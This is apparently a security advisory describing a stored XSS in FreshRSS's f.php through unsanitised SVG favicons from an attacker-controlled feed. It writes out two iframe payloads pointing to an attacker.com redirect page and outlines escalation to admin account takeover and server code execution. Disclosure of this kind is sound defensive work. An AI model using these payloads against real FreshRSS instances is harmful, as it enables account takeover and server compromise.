Summary

By combining an XSS occurring in f.php when SVG favicons are downloaded from an attacker-controlled feed containing <script> tags inside of them that aren't sanitized, and the lack of CSP in f.php by embedding the malicious favicon in an iframe (that has sandbox="allow-scripts allow-same-origin" set as its attribute) it's possible to run arbitrary JS code on the main page.

Details

An attacker needs to control one of the feeds that the victim is subscribed to, and also must have an account on the FreshRSS instance.
Other than that, the iframe payload can be embedded either as <iframe src="https://attacker.com/redir.php"></iframe> or <iframe srcdoc="<meta http-equiv='Refresh' content='0;url=https://attacker.com/redir.php'>"></iframe>
The first payload requires user interaction (the user clicking on the malicious feed entry) with default user configuration, and the second payload fires instantly right after the user adds the feed or logs into the account while the feed entry is still visible.
This is because of lazy image loading functionality, which the second payload bypasses.

PoC

Detailed steps are shown in the video, the malicious feed and favicon, as well as the other files are in the zip with a README.txt
poc_frss.zip
poc.mp4

Impact

An attacker can gain access to the victim's account by exploiting this vulnerability. If the victim is an admin it would be possible to delete all users (cause damage) or execute arbitrary code on the server by modifying the update URL using fetch() via the XSS.